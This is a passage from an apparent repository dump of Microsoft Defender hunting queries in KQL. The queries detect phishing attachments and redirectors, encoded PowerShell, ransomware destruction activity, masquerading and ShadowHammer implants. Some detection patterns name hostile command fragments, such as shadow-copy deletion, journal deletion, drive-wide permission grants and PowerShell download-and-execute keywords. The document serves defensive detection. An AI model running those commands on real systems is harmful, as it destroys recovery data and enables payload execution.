control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n\n## Contributor info\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Email Queries/JNLP-File-Attachment.md",
    "content": "## JNLP File Attachments\nJNLP file extensions are an uncommon file type often used to deliver malware. \n\n## Query\nThis query looks for email attachment name ending with a JNLP file extension.\n```\nEmailAttachmentInfo\n| where FileName endswith \".jnlp\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |   |  |\n| Collection |  |  |\n| Command and control |   |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |   |  |\n| Exploit |   |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Email Queries/PhishingEmailUrlRedirector.md",
    "content": "# Phishing email URL redirection\n\nThis query was originally published on Twitter, by [@MsftSecIntel](https://twitter.com/MsftSecIntel).\n\nThe query helps detect emails associated with the open redirector URL campaign. The campaign's URLs begin with the distinct pattern, hxxps://t[.]domain[.]tld/r/?. Attackers use URL redirection to manipulate users into visiting a malicious website or to evade detection.\n\n## Query\nGeneric regex for all emails containing base \"t-dot\" redirector pattern:\n```\nEmailUrlInfo\n| where Url matches regex @\"s?\\:\\/\\/(?:www\\.)?t\\.(?:[\\w\\-\\.]+\\/+)+(?:r|redirect)\\/?\\?\"\n```\nSpecific regex for campaigns containing known malicious infrastructure as observed from late 2020 until at least April 2021:\n```\nEmailUrlInfo\n//This regex identifies emails containing the \"T-Dot\" redirector pattern in the URL\n| where Url matches regex @\"s?\\:\\/\\/(?:www\\.)?t\\.(?:[\\w\\-\\.]+\\/+)+(?:r|redirect)\\/?\\?\" \n    //This regex narrows in on emails that contain the known malicious domain pattern in the URL from the most recent campaigns\n    and Url matches regex @\"[a-zA-Z]\\-[a-zA-Z]{2}\\.(xyz|club|shop)\"\n```\n\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Email Queries/referral-phish-emails.md",
    "content": "# Referral infrastructure credential phishing emails\nThe \"Referral\" infrastructure is a point-in-time set of infrastructure associated with spoofed emails that imitate SharePoint and other legitimate products to conduct credential phishing. The operator is also known to use legitimate URL infrastructure such as Google, Microsoft, and Digital Ocean to host their phishing pages.\n## Query\nUse this query to search for instances of malicious senders associated with multiple phishing campaigns for a few months in 2021, with subjects approximately similar to \"Referral\". These mails also attempt to bypass protections and access inboxes by spoofing the recipient domain in the displayed email address. This query will match instances where the displayed email address matches the recipient's domain and join to the email URL data for easy hunting on potential malicious credential theft sites.\n```\nlet EmailAddresses = pack_array\n('zreffertalt.com.com','zreffesral.com.com','kzreffertal.com.com',\n'wzreffertal.com.com','refferal.comq','refferal.net','zreffertal.com.com',\n'zrefferal.com.com','refferasl.com.com','zreffesral.com','zrefsfertal.com.com',\n'irefferal.com','refferasl.co','zrefferal.com');\nEmailEvents\n| where SenderMailFromDomain in (EmailAddresses)\n| extend RecipientDomain = extract(\"[^@]+$\", 0, RecipientEmailAddress)\n| where SenderFromDomain == RecipientDomain\n| join EmailUrlInfo on $left.NetworkMessageId == $right.NetworkMessageId\n```\n\n\n## Category\n\nUse this query to detect the following attack techniques and tactics (see MITRE ATT&CK framework) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access | v |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Execution/Base64 Detector and Decoder.md",
    "content": "# Base64 Detector and Decoder\n\nThis query will identify strings in process command lines which match Base64 encoding format, extract the string to a column called Base64, and decode it in a column called DecodedString.\n\n## Query\n\n```\nDeviceProcessEvents \n| extend SplitLaunchString = split(ProcessCommandLine, \" \")\n| mvexpand SplitLaunchString\n| where SplitLaunchString matches regex \"^[A-Za-z0-9+/]{50,}[=]{0,2}$\"\n| extend Base64 = tostring(SplitLaunchString)\n| extend DecodedString = base64_decodestring(Base64)\n| where isnotempty(DecodedString)\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Michael Melone\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Execution/Base64encodePEFile.txt",
    "content": "// Finding base64 encoded PE files header seen in the command line parameters\n// Tags: #fileLess  #powershell\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where ProcessCommandLine contains \"TVqQAAMAAAAEAAA\"\n| top 1000 by Timestamp\n"
  },
  {
    "path": "Execution/Detect Encoded Powershell.md",
    "content": "# Detect Encoded PowerShell\n\nThis query will detect encoded powershell based on the parameters passed during process creation. This query will also work if the PowerShell executable is renamed or tampered with since detection is based solely on a regex of the launch string.\n\n## Query\n```\nDeviceProcessEvents\n| where ProcessCommandLine matches regex @'(\\s+-((?i)encod?e?d?c?o?m?m?a?n?d?|e|en|enc|ec)\\s).*([A-Za-z0-9+/]{50,}[=]{0,2})'\n| extend DecodedCommand = replace(@'\\x00','', base64_decode_tostring(extract(\"[A-Za-z0-9+/]{50,}[=]{0,2}\",0 , ProcessCommandLine)))\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n**Contributor:** Michael Melone\n**GitHub alias:** mjmelone\n**Organization:** Microsoft\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Execution/Detect PowerShell v2 Downgrade.md",
    "content": "# Detect PowerShell Downgrade\nThis query looks for processes that load an older version of the system.management.automation libraries. While not inherently malicious, downgrading to PowerShell version 2 \ncan enable an attacker to bypass some of the protections afforded by modern PowerShell. It is worth noting that some tools and scripts perform this to enable \nbackwards compatibility, so the technique is not inherently malicious. You will likely need to filter the processes within your environment that legitimately use this\ncapability for this to be effective.\n\n## Query\n```\nDeviceImageLoadEvents\n| where InitiatingProcessFileName =~ 'powershell.exe'\n    and FileName in~ ('system.management.automation.ni.dll','System.Management.Automation.dll')\n    and FolderPath matches regex @\"[12]\\.(\\d)+\\.(\\d)+\\.(\\d)+\"\n\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n\n## Contributor info\n**Contributor:** Michael Melone\n**GitHub alias:** mjmelone\n**Organization:** Microsoft\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Execution/ExecuteBase64DecodedPayload.txt",
    "content": "// Process executed from binary hidden in Base64 encoded file.  Encoding malicious software is a \n// technique to obfuscate files from detection.\n//   The first and second ProcessCommandLine component is looking for Python decoding base64\n//   The third ProcesssCommandLine component is looking for the Bash/sh commandline base64 decoding tool\n//   The fourth one is looking for Ruby decoding base64\nDeviceProcessEvents \n| where Timestamp > ago(14d) \n| where ProcessCommandLine contains \".decode('base64')\"\n        or ProcessCommandLine contains \".b64decode(\"\n        or ProcessCommandLine contains \"base64 --decode\"\n        or ProcessCommandLine contains \".decode64(\" \n| project Timestamp , DeviceName , FileName , FolderPath , ProcessCommandLine , InitiatingProcessCommandLine \n| top 100 by Timestamp \n\n\n"
  },
  {
    "path": "Execution/File Copy and Execution.md",
    "content": "# File Copy and Execution\nThis query identifies files that are copied to a device over SMB, then executed within a\nspecified threshold. Default is 5 seconds, but is configurable by tweaking the value for \nToleranceInSeconds.\n## Query\n```\nlet ToleranceInSeconds = 5;\nDeviceNetworkEvents\n| where LocalPort == 445 and isnotempty(RemoteIP)\n| join kind = inner DeviceLogonEvents on DeviceId\n| where Timestamp1 between (Timestamp .. datetime_add('second',ToleranceInSeconds,Timestamp)) and RemoteIP endswith RemoteIP1\n| join kind=inner (\n    DeviceFileEvents\n    | where ActionType in ('FileModified','FileCreated') and (InitiatingProcessFileName =~ 'System' or InitiatingProcessFolderPath endswith \"ntoskrnl.exe\")\n) on DeviceId\n| where Timestamp2 between (Timestamp .. datetime_add('second',ToleranceInSeconds,Timestamp))\n| join kind=inner DeviceProcessEvents on DeviceId, FolderPath\n| where Timestamp3 between (Timestamp .. datetime_add('second',ToleranceInSeconds,Timestamp))\n| project Timestamp, DeviceName, RemoteIP, RemotePort, AccountDomain, AccountName, AccountSid, Protocol, LogonId, RemoteDeviceName, IsLocalAdmin, FileName, FolderPath, SHA1, SHA256, MD5, ProcessCommandLine\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence | v |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement | v |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact | v |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n**Contributor:** Michael Melone\n**GitHub alias:** mjmelone\n**Organization:** Microsoft\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Execution/Malware_In_recyclebin.txt",
    "content": "// Finding attackers hiding malware in the recycle bin.\n// Read more here: https://azure.microsoft.com/en-us/blog/how-azure-security-center-helps-reveal-a-cyberattack/ \n// Tags: #execution #SuspiciousPath\nDeviceProcessEvents \n| where Timestamp > ago(7d)\n| where FileName in~('cmd.exe','ftp.exe','schtasks.exe','powershell.exe','rundll32.exe','regsvr32.exe','msiexec.exe')\n| where ProcessCommandLine contains \":\\\\recycler\"\n| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessFileName\n"
  },
  {
    "path": "Execution/Masquerading system executable.txt",
    "content": "//Finds legitimate system32 or syswow64 executables being run under a different name and in a different location\r\n//The rule will require tuning for your environment\r\n//MITRE: Masquerading https://attack.mitre.org/techniques/T1036/\r\n//\r\n//Get a list of all processes run, except those run from system32 or SysWOW64\r\nlet nonSystemProcesses = \r\n    DeviceProcessEvents \r\n    | where Timestamp > ago(7d) //Adjust your desired date range here and set the data/time picker to 30 days \r\n    | where FolderPath !startswith @\"C:\\Windows\\system32\\\" and FolderPath !startswith @\"C:\\Windows\\SysWOW64\\\" and isnotempty(MD5)\r\n    and FileName !in~ (\"MpSigStub.exe\",\"GACUtil_20.exe\");\r\n//Get a list of MD5s of all procceses run from system32 or SysWOW64\r\nlet systemProcessHashes = \r\n    DeviceProcessEvents \r\n    | where Timestamp > ago(30d) //Keep this at 30 days so it uses all available data to compile the list of hashes\r\n    | where FolderPath startswith @\"C:\\Windows\\system32\\\" or FolderPath startswith @\"C:\\Windows\\SysWOW64\\\" and isnotempty(MD5) \r\n    and FileName !in~ (\"fileacl.exe\",\"WerFault.exe\")\r\n    | summarize LegitFolderPath=makeset(tolower(FolderPath)) by MD5, LegitFileName=FileName;\r\n//Join the two tables on MD5, where the filenames do not match\r\nsystemProcessHashes | join kind=inner (nonSystemProcesses) on MD5 | where tolower(LegitFileName)!=tolower(FileName)\r\n| project Timestamp, DeviceName, FileName, FolderPath, LegitFileName, LegitFolderPath, MD5, ProcessCommandLine, AccountName, InitiatingProcessFileName, InitiatingProcessParentFileName, ReportId, DeviceId\r\n| top 100 by Timestamp desc\r\n"
  },
  {
    "path": "Execution/Possible Ransomware Related Destruction Activity.md",
    "content": "# Possible Ransomware Related Destruction Activity\n\nThis query identifies common processes run by ransomware\nmalware to destroy volume shadow copies or clean free\nspace on a drive to prevent a file from being recovered\npost-encryption.  To reduce false positives, results are\nfiltered to only actions taken when the initiating \nprocess was launched from a suspicious directory.  If \nyou don't mind false positives, consider removing the \nlast where clause.\n\nSpecial thanks to Captain for additional inputs\n\n## Query\n\n```\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where (FileName =~ 'vssadmin.exe' and ProcessCommandLine has \"delete shadows\" and ProcessCommandLine has \"/all\" and ProcessCommandLine has \"/quiet\" ) // Clearing shadow copies\n    or (FileName =~ 'cipher.exe' and ProcessCommandLine contains \"/w\") // Wiping drive free space\n    or (FileName =~ 'schtasks.exe' and ProcessCommandLine has \"/change\" and ProcessCommandLine has @\"\\Microsoft\\Windows\\SystemRestore\\SR\" and ProcessCommandLine has \"/disable\") // Disabling system restore task\n    or (FileName =~ 'fsutil.exe' and ProcessCommandLine has \"usn\" and ProcessCommandLine has \"deletejournal\" and ProcessCommandLine has \"/d\") // Deleting USN journal\n    or (FileName =~ 'icacls.exe' and ProcessCommandLine has @'\"C:\\*\"' and ProcessCommandLine contains '/grant Everyone:F') // Attempts to re-ACL all files on the C drive to give everyone full control\n    or (FileName =~ 'powershell.exe' and (\n            ProcessCommandLine matches regex @'\\s+-((?i)encod?e?d?c?o?m?m?a?n?d?|e|en|enc|ec)\\s+' and replace(@'\\x00','', base64_decode_tostring(extract(\"[A-Za-z0-9+/]{50,}[=]{0,2}\",0 , ProcessCommandLine))) matches regex @\".*(Win32_Shadowcopy).*(.Delete\\(\\)).*\"\n        ) or ProcessCommandLine matches regex @\".*(Win32_Shadowcopy).*(.Delete\\(\\)).*\"\n    ) // This query looks for PowerShell-based commands used to delete shadow copies\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact | v |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Michael Melone, with special thanks to Captain and @kshitijk_\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Execution/PowerShell downloads.txt",
    "content": "// Finds PowerShell execution events that could involve a download.\r\nDeviceProcessEvents\r\n| where Timestamp > ago(7d)\r\n| where FileName in~ (\"powershell.exe\", \"powershell_ise.exe\")\r\n| where ProcessCommandLine has \"Net.WebClient\"\r\n   or ProcessCommandLine has \"DownloadFile\"\r\n   or ProcessCommandLine has \"Invoke-WebRequest\"\r\n   or ProcessCommandLine has \"Invoke-Shellcode\"\r\n   or ProcessCommandLine has \"http\"\r\n   or ProcessCommandLine has \"IEX\"\r\n   or ProcessCommandLine has \"Start-BitsTransfer\"\r\n   or ProcessCommandLine has \"mpcmdrun.exe\"\r\n| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine\r\n| top 100 by Timestamp\r\n"
  },
  {
    "path": "Execution/PowershellCommand - uncommon commands on machine.txt",
    "content": "// Find which uncommon Powershell Cmdlets were executed on that machine in a certain time period.\n// This covers all Powershell commands executed in the Powershell engine by any process.\nlet DeviceId = \"474908f457a1dc4c1fab568f808d5f77bf3bb951\";\nlet timestamp = datetime(2018-06-09T02:23:26.6832917Z);\n// Query for Powershell cmdlets\nlet powershellCommands =\n    DeviceEvents\n    | where ActionType == \"PowerShellCommand\"\n    // Extract the powershell command name from the Command field in the AdditionalFields JSON column\n    | project PowershellCommand=extractjson(\"$.Command\", AdditionalFields, typeof(string)), InitiatingProcessCommandLine, InitiatingProcessParentFileName, Timestamp, DeviceId\n    | where PowershellCommand !endswith \".ps1\" and PowershellCommand !endswith \".exe\";\n// Filter Powershell cmdlets executed on relevant machine and time period\npowershellCommands | where DeviceId == DeviceId and Timestamp between ((timestamp-5min) .. 10min)\n// Filter out common powershell cmdlets\n| join kind=leftanti (powershellCommands | summarize MachineCount=dcount(DeviceId) by PowershellCommand | where MachineCount > 20) on PowershellCommand\n\n// To learn more about queries on Powershell commands, take a look this post: https://techcommunity.microsoft.com/t5/Threat-Intelligence/Hunting-tip-of-the-month-PowerShell-commands/m-p/210898#M30\n// Related queries:\n// 1. Found a suspicious command? Let's pivot to see on which other machines it was executed:\n//    https://github.com/Microsoft/WindowsDefenderATP-Hunting-Queries/blob/master/Execution/PowershellCommand%20footprint.txt\n// 2. We know typing an exact timestamp could be annoying...\n//    Why not query for the timestamp of the event you're looking for instead?\n//    In example, when investigating at an alert, look for the powershell commands executed around the time of the first event detected in that alert.\n//    https://github.com/Microsoft/WindowsDefenderATP-Hunting-Queries/blob/master/General%20queries/Events%20surrounding%20alert.txt\n"
  },
  {
    "path": "Execution/PowershellCommand footprint.txt",
    "content": "// Find all machines running a given Powersehll cmdlet.\n// This covers all Powershell commands executed in the Powershell engine by any process.\nlet powershellCommandName = \"Invoke-RickAscii\";\nDeviceEvents\n| where ActionType == \"PowerShellCommand\"\n// This filter improves query performance, as it avoids needing to parse Command from all rows and only then applying a filter\n| where AdditionalFields contains powershellCommandName\n// Extract the powershell command name from the Command field in the AdditionalFields JSON column\n| project PowershellCommand=extractjson(\"$.Command\", AdditionalFields, typeof(string)), InitiatingProcessCommandLine, InitiatingProcessParentFileName, Timestamp, DeviceId\n// Do an exact case-insensitive match on the command name field\n| where PowershellCommand =~ powershellCommandName\n\n\n// To learn more about queries on Powershell commands, take a look this post: https://techcommunity.microsoft.com/t5/Threat-Intelligence/Hunting-tip-of-the-month-PowerShell-commands/m-p/210898#M30\n// Related query - find uncommon Powershell commands executed on a machine in a certain time-range:\n// https://github.com/Microsoft/WindowsDefenderATP-Hunting-Queries/blob/master/Execution/PowershellCommand%20-%20uncommon%20commands%20on%20machine.txt\n"
  },
  {
    "path": "Execution/Webserver Executing Suspicious Applications.md",
    "content": "# Webserver Executing Suspicious Applications\n\nThis query looks for common webserver process names and identifies any processes launched using a scripting language (cmd, powershell, wscript, cscript), common initial profiling commands (net \\ net1 \\ whoami \\ ping \\ ipconfig),or admin commands (sc).  Note that seeing thisactivity doesn't immediately mean you have a breach, though you might consider  reviewing and honing the where clause to fit your specific web applications.\n\nThose who don't mind false positives should consider also adding database process names to this list as well (i.e. sqlservr.exe) to identify potential abuse of xp_cmdshell.\n\n## Query\n\n```\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where InitiatingProcessFileName in~ ('w3wp.exe', 'httpd.exe') // 'sqlservr.exe')\n| where FileName in~ ('cmd.exe', 'powershell.exe', 'cscript.exe', 'wscript.exe', 'net.exe', 'net1.exe', 'ping.exe', 'whoami.exe')\n| summarize instances = count() by ProcessCommandLine, FolderPath, DeviceName, DeviceId \n| order by instances asc\n```\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Michael Melone\n\n**GitHub alias:** mjmelone\n\n**Organization:** Microsoft\n\n**Contact info:** @PowershellPoet\n"
  },
  {
    "path": "Execution/check-for-shadowhammer-activity-implant.md",
    "content": "# Check for ShadowHammer-related implant or container activity\n\nThis query was originally published in the threat analytics report, *ShadowHammer supply chain attack*\n\n[Operation ShadowHammer](https://www.vice.com/en_us/article/pan9wn/hackers-hijacked-asus-software-updates-to-install-backdoors-on-thousands-of-computers) was an attack against ASUS computer hardware, using the company's own update infrastructure to deliver malware to the company's products. The campaign ran from June to November, 2018. ASUS has since [responded](https://www.asus.com/News/hqfgVUyZ6uyAyJe1) with updates that protect their Live Update system, and diagnostic tools to check affected systems.\n\nThe following query checks for activity associated with the ShadowHammer implant or container over the past 30 days.\n\n## Query\n\n```\n​// Event types that may be associated with the implant or container\nunion DeviceProcessEvents , DeviceNetworkEvents , DeviceFileEvents , DeviceImageLoadEvents \n| where Timestamp > ago(30d)\n// File SHAs for implant and container\n| where InitiatingProcessSHA1 in(\"e01c1047001206c52c87b8197d772db2a1d3b7b4\",\n\"e005c58331eb7db04782fdf9089111979ce1406f\", \"69c08086c164e58a6d0398b0ffdcb957930b4cf2\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control | v |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/detect-anomalous-process-trees.md",
    "content": "# Detect anomalous process trees\n\nThis query generates process trees of given processes and performs anomaly detection on the process trees. It generates process trees up to 7th level. \n\nThe query can be used as a template to perform anomaly detection on specific processes like winword.exe, powerpnt.exe, w3wp.exe, etc. The query runs without any performance issues in large environments.\n\nDetailed explanation can be found [here](https://mergene.medium.com/detecting-threats-with-process-tree-analysis-without-machine-learning-838d85f78b2c)\n\n## Query\n\n```Kusto\nlet timeframe = 48h;\n// Define of which processes you want to generate process tree\nlet _selected_processes = dynamic([\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"acrord32.exe\", \"FoxitPhantomPDF.exe\",\"MicrosoftPdfReader.exe\",\"SumatraPDF.exe\"]); \n// First, generate the process tree and store it in the cache.\n// Renaming fields accordingly to generate a tree up to 7th level\n// In each step, project only the required fields to optimize resource usage\nlet _process_tree_data= materialize \n( DeviceProcessEvents\n    | where Timestamp > ago(timeframe)\n    | where InitiatingProcessFileName in~ (_selected_processes )\n    | project DeviceId,DeviceName, \n              InitiatingProcessG3ParentFileName=FileName,InitiatingProcessG3ParentSHA1=SHA1,InitiatingProcessG3ParentId=ProcessId, InitiatingProcessG3ParentCommandLine=ProcessCommandLine,InitiatingProcessG3ParentCreationTime=todatetime(ProcessCreationTime),\n              InitiatingProcessG4ParentFileName=InitiatingProcessFileName,InitiatingProcessG4ParentSHA1=InitiatingProcessSHA1,InitiatingProcessG4ParentId=InitiatingProcessId,InitiatingProcessG4ParentCommandLine=InitiatingProcessCommandLine, InitiatingProcessG4ParentCreationTime=todatetime(InitiatingProcessCreationTime)\n    // Start iteration\n    // 1st iteration of join. From now on, query all processes, rename fields, and join accordingly\n    | join kind=leftouter (\n                DeviceProcessEvents\n                    | where Timestamp > ago(timeframe)\n                    | project DeviceId, InitiatingProcessG2ParentFileName=FileName,InitiatingProcessG2ParentFolderPath=FolderPath,InitiatingProcessG2ParentSHA1=SHA1, InitiatingProcessG2ParentId=ProcessId,  InitiatingProcessG2ParentCommandLine=ProcessCommandLine, InitiatingProcessG2ParentCreationTime=todatetime(ProcessCreationTime), \n                       InitiatingProcessG3ParentFileName=InitiatingProcessFileName,InitiatingProcessG3ParentFolderPath=InitiatingProcessFolderPath,InitiatingProcessG3ParentSHA1=InitiatingProcessSHA1, InitiatingProcessG3ParentId=InitiatingProcessId,  InitiatingProcessG3ParentCommandLine=InitiatingProcessCommandLine, InitiatingProcessG3ParentCreationTime=todatetime(InitiatingProcessCreationTime)\n                     ) \n                     on DeviceId , InitiatingProcessG3ParentFileName, InitiatingProcessG3ParentId, InitiatingProcessG3ParentCreationTime\n        // 2nd iteration of join.\n        | join kind=leftouter (\n                    DeviceProcessEvents\n                        | where Timestamp > ago(timeframe)\n                        | project DeviceId, InitiatingProcessG1ParentFileName=FileName,InitiatingProcessG1ParentFolderPath=FolderPath,InitiatingProcessG1ParentSHA1=SHA1, InitiatingProcessG1ParentId=ProcessId,  InitiatingProcessG1ParentCommandLine=ProcessCommandLine, InitiatingProcessG1ParentCreationTime=todatetime(ProcessCreationTime), \n                        InitiatingProcessG2ParentFileName=InitiatingProcessFileName,InitiatingProcessG2ParentFolderPath=InitiatingProcessFolderPath,InitiatingProcessG2ParentSHA1=InitiatingProcessSHA1, InitiatingProcessG2ParentId=InitiatingProcessId,  InitiatingProcessG2ParentCommandLine=InitiatingProcessCommandLine, InitiatingProcessG2ParentCreationTime=todatetime(InitiatingProcessCreationTime)\n                        ) \n                        on DeviceId , InitiatingProcessG2ParentFileName , InitiatingProcessG2ParentId, InitiatingProcessG2ParentCreationTime\n            // 3rd iteration of join.\n            | join kind=leftouter (\n                        DeviceProcessEvents\n                            | where Timestamp > ago(timeframe)\n                            | project DeviceId, InitiatingProcessParentFileName=FileName,InitiatingProcessParentFolderPath=FolderPath,InitiatingProcessParentSHA1=SHA1, InitiatingProcessParentId=ProcessId,  InitiatingProcessParentCommandLine=ProcessCommandLine, InitiatingProcessParentCreationTime=ProcessCreationTime, \n                            InitiatingProcessG1ParentFileName=InitiatingProcessFileName,InitiatingProcessG1ParentFolderPath=InitiatingProcessFolderPath,InitiatingProcessG1ParentSHA1=InitiatingProcessSHA1, InitiatingProcessG1ParentId=InitiatingProcessId,  InitiatingProcessG1ParentCommandLine=InitiatingProcessCommandLine, InitiatingProcessG1ParentCreationTime=todatetime(InitiatingProcessCreationTime)\n                            ) \n                            on DeviceId , InitiatingProcessG1ParentFileName , InitiatingProcessG1ParentId, InitiatingProcessG1ParentCreationTime\n                // 4th iteration of join\n                | join kind=leftouter (\n                            DeviceProcessEvents\n                                | where Timestamp > ago(timeframe)\n                                | project DeviceId, InitiatingProcessFileName=FileName,InitiatingProcessSHA1=SHA1, InitiatingProcessId=ProcessId,  InitiatingProcessCommandLine=ProcessCommandLine, InitiatingProcessCreationTime=ProcessCreationTime, \n                                InitiatingProcessParentFileName=InitiatingProcessFileName,InitiatingProcessParentSHA1=InitiatingProcessSHA1, InitiatingProcessParentId=InitiatingProcessId,  InitiatingProcessParentCommandLine=InitiatingProcessCommandLine, InitiatingProcessParentCreationTime=InitiatingProcessCreationTime\n                                ) \n                                on DeviceId , InitiatingProcessParentFileName , InitiatingProcessParentId, InitiatingProcessParentCreationTime\n                    // 5th iteration of join\n                    | join kind=leftouter (\n                                DeviceProcessEvents\n                                    | where Timestamp > ago(timeframe)\n                                    | project Timestamp, DeviceId, FileName,SHA1, ProcessId, ProcessCommandLine, ProcessCreationTime, \n                                    InitiatingProcessFileName,InitiatingProcessSHA1, 